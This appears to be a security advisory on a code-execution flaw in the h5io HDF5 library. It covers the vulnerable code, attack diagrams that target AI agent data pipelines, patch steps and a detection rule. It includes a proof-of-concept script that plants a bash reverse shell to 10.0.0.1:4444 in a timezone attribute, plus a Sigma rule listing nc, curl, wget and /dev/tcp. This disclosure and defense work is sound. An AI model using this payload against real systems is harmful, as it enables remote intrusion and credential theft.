Skip to content

CVE-2026-120499: h5io Arbitrary Code Execution via read_hdf5 Dynamic Evaluation and Unsafe Deserialization

Density:
C-Level Executive Briefing CVE-2026-120499 HIGH SCORE 89/100

A high-severity code execution vulnerability in the h5io Python library (versions prior to 0.2.6) permits remote attackers to execute arbitrary system commands when an application processes a maliciously structured HDF5 file via h5io.read_hdf5(). Tracked under commit fix afff1d6 and cataloged by VulnCheck as weaponized, the flaw exposes three distinct exploitation primitives: dynamic eval() evaluation of string contents in timezone nodes, unconstrained module importing via _import_class(), and automated unpickling of serialized pandas DataFrame and Series objects. Because h5io is a foundational component in scientific AI research, deep learning tensor storage, and autonomous agent data ingestion pipelines, threat actors poisoning datasets hosted on public repositories (Hugging Face, Kaggle, academic archives) can achieve unconstrained remote code execution on GPU compute clusters and agentic runtime worker nodes. Hermes evaluates CVE-2026-120499 at HTS 89 (HIGH) and assigns an Agentic Security Score (HASS) of 86 (CRITICAL).

HYBRID

HERMES THREAT SCORE & AGENTIC AI DATA PIPELINE INTEGRITY EVALUATION

Target: h5io HDF5 Parser & Serialization Engine (h5io.read_hdf5 / _triage_read / _import_class)
Confidence: 98%
89 / 100
HIGH

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 18 / 20
Threat Activity 18 / 20
Weaponization 19 / 20
Exposure 18 / 20
Prevalence 17 / 20
Impact 20 / 20
Exploit Maturity 19 / 20
Attack Chain Potential 20 / 20
โš–๏ธ Divergence & Operational Rationale

[object Object]

On November 6, 2026, VulnCheck cataloged as weaponized CVE-2026-120499, a critical arbitrary code execution flaw in the h5io Python package (versions prior to 0.2.6). Developed to serialize and deserialize complex scientific data structures, Python dictionaries, NumPy matrices, and pandas DataFrames into Hierarchical Data Format 5 (HDF5) files, h5io is widely integrated into machine learning data pipelines, neural network model weight repositories, and autonomous AI agent toolchains.

The vulnerability stems from multiple unsafe deserialization and dynamic evaluation paths within h5io.read_hdf5(). When an application or autonomous agent ingests an untrusted .h5 or .hdf5 file, h5io executes arbitrary Python code embedded in metadata attributes, loads unconstrained system modules, and deserializes pickled objects. This enables initial access brokers and threat actors to target AI development workstations, high-performance computing (HPC) GPU clusters, and autonomous data ingestion pipelines by distributing poisoned datasets across open-source hubs.

flowchart TD
subgraph Distribution["Public Registries & Data Lakes"]
Attacker["Threat Actor / Data Poisoner"]
PoisonedH5["Poisoned HDF5 File (dataset.h5)\nCrafted timezone node: __import__('os').system(...)"]
end
subgraph AgenticPipeline["Autonomous AI & ML Infrastructure"]
Agent["Autonomous Research Agent / Data Worker\nTool Call: read_dataset(file_path)"]
H5io["h5io.read_hdf5(file)"]
TriageNode["_triage_read() on 'timezone'"]
EvalExec["Python eval(payload, {'__builtins__': ...})"]
end
subgraph Compromise["Host Operating System & Cluster"]
Subprocess["Spawn /bin/sh / Reverse Shell"]
Creds["Exfiltration of HuggingFace / OpenAI / AWS Tokens"]
GPUCluster["Lateral Movement across GPU Worker Nodes"]
end
Attacker -->|Uploads Poisoned Artifact| PoisonedH5
PoisonedH5 -->|Ingested by Agent| Agent
Agent --> H5io
H5io --> TriageNode
TriageNode --> EvalExec
EvalExec --> Subprocess
Subprocess --> Creds
Subprocess --> GPUCluster

The vulnerability resides within the internal deserialization logic of h5io/_h5io.py. When reading an HDF5 group, read_hdf5() iterates over datasets and delegates type reconstruction to _triage_read().

In versions prior to 0.2.6, three independent code execution vectors were present:

To restore Python timezone objects associated with date and time arrays, h5io inspected whether the dataset group contained a node named timezone. Rather than validating the string against the standard IANA timezone database or using Pythonโ€™s zoneinfo module, h5io passed the stored string directly to eval():

# Vulnerable code snippet from h5io/_h5io.py (before patch 0.2.6)
def _triage_read(node):
# ...
if 'timezone' in node.attrs:
tz_str = node.attrs['timezone']
# CRITICAL VULNERABILITY: eval() executed with full builtins available!
return eval(tz_str)

Because __builtins__ was not restricted, an attacker writing __import__('os').system('id') into the timezone attribute triggers instantaneous shell execution when the file is parsed.

For custom Python objects serialized with class metadata, _import_class() parsed the module path and class name directly from HDF5 node attributes:

# Vulnerable class loader
def _import_class(module_name, class_name):
# Unconstrained import allows loading dangerous modules (e.g., 'os', 'subprocess')
mod = __import__(module_name, fromlist=[class_name])
return getattr(mod, class_name)

By referencing modules with side effects on import or instantiating callables with user-supplied arguments, arbitrary code is triggered during object initialization.

When serializing pandas DataFrames or Series, h5io stored complex object columns using Pythonโ€™s pickle.dumps(). During read_hdf5(), these streams were loaded back using pickle.loads(), directly exposing the runtime to classic pickle deserialization gadgets (__reduce__ exploit payloads).


In modern enterprise AI systems, autonomous agents frequently operate tools that download and process external data files:

sequenceDiagram
autonumber
actor Attacker as Threat Actor
participant Hub as Hugging Face / S3 Data Lake
participant Agent as Autonomous AI Agent Runtime
participant Host as GPU Compute Node / Shell
Note over Attacker,Hub: Step 1: Stage Poisoned HDF5 Artifact
Attacker->>Hub: Upload malicious 'research_dataset.h5'
Note over Attacker,Hub: Node 'timezone' contains reverse shell stager
Note over Hub,Agent: Step 2: Autonomous Ingestion
Agent->>Hub: Query dataset tool ('download_and_inspect_dataset')
Hub-->>Agent: Delivers 'research_dataset.h5'
Agent->>Agent: Calls tool: h5io.read_hdf5('research_dataset.h5')
Note over Agent,Host: Step 3: Trigger eval() Injection
Note over Agent: _triage_read() evaluates node.attrs['timezone']
Agent->>Host: Spawns /bin/sh (reverse shell to attacker C2)
Host-->>Attacker: Interactive root/worker shell on GPU node
  1. Payload Generation: The attacker uses h5py to create an HDF5 file containing a dataset with the attribute timezone set to a Python one-liner:
    import h5py
    with h5py.File("malicious.h5", "w") as f:
    dset = f.create_dataset("data", data=[1, 2, 3])
    dset.attrs["timezone"] = "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"
  2. Dataset Staging: The artifact is published under a deceptive name (e.g., multimodal-medical-tensors-v2.h5) on a machine learning repository.
  3. Execution on Ingestion: When an automated data scraper, a data scientist running exploratory analysis, or an autonomous LLM research agent invokes h5io.read_hdf5("malicious.h5"), _triage_read() immediately triggers eval(), spawning the reverse shell.

Detection involves auditing Python process behavior for unauthorized child process spawning and statically scanning HDF5 files for malicious metadata attributes.

title: Python HDF5 Ingestion Spawning Subshell (CVE-2026-120499)
id: 7f8190de-1204-99a1-8d2b-h5iocodeexec
status: experimental
description: Detects Python worker processes running data ingestion libraries spawning suspicious interactive shells or download utilities indicative of h5io exploitation.
references:
- https://github.com/h5io/h5io/commit/afff1d61b31790f8c27e6c577bb7703eb1883ddd
- https://vulncheck.com/advisories/h5io-before-0.2.6-arbitrary-code-execution-via-read-hdf5
author: Hermes Codex Cyber Defense Team
date: 2026-11-07
logsource:
category: process_creation
product: linux
detection:
selection_parent:
ParentImage|endswith:
- '/python'
- '/python3'
- '/python3.11'
- '/python3.12'
selection_child:
Image|endswith:
- '/bin/sh'
- '/bin/bash'
- '/usr/bin/curl'
- '/usr/bin/wget'
- '/usr/bin/nc'
- '/usr/bin/ncat'
selection_cmdline:
CommandLine|contains:
- '/dev/tcp'
- 'python -c'
- 'base64'
condition: selection_parent and (selection_child or selection_cmdline)
level: critical
tags:
- attack.execution
- attack.t1203
- attack.t1059.006
- cve.2026.120499

Organizations running data science, AI development, and autonomous agent infrastructure must apply immediate package updates and sandbox file ingestion.

Upgrade the h5io Python library across all virtual environments, Docker images, and Jupyterhub kernels:

Terminal window
pip install --upgrade "h5io>=0.2.6"

Verify that version 0.2.6 or higher is actively resolved:

Terminal window
python3 -c "import h5io; print(h5io.__version__)"
# Output must be: 0.2.6 or higher

In commit afff1d61b31790f8c27e6c577bb7703eb1883ddd, the maintainers applied three fundamental security remediations:

  1. Removed eval() for Timezone Objects: Timezone attributes are parsed exclusively using standard zoneinfo.ZoneInfo or pytz.timezone constructors with strict string validation.
  2. Whitelisted Object Importers: Arbitrary module instantiation via _import_class() was removed; custom objects require explicit registration in a trusted type mapping.
  3. Restricted Pandas Serialization: Pickled pandas byte streams in HDF5 nodes are deprecated and rejected by default, preventing pickle gadget execution.
  1. Dataset Ingestion Sandboxing: Autonomous agents should never execute dataset parsing libraries in the root container context. Utilize gVisor (runsc) or isolated microVMs (Firecracker) for tool execution involving user-uploaded or external files.
  2. Read-Only Model Caches: Mount Hugging Face and local model weight directories (~/.cache/huggingface) as read-only volumes during agent inference and dataset evaluation tasks.
  3. Outbound Network Egress Filtering: Restrict egress traffic from AI training worker nodes to internal artifact registries and approved endpoints using Kubernetes NetworkPolicies, blocking reverse shells connecting to attacker C2 infrastructure.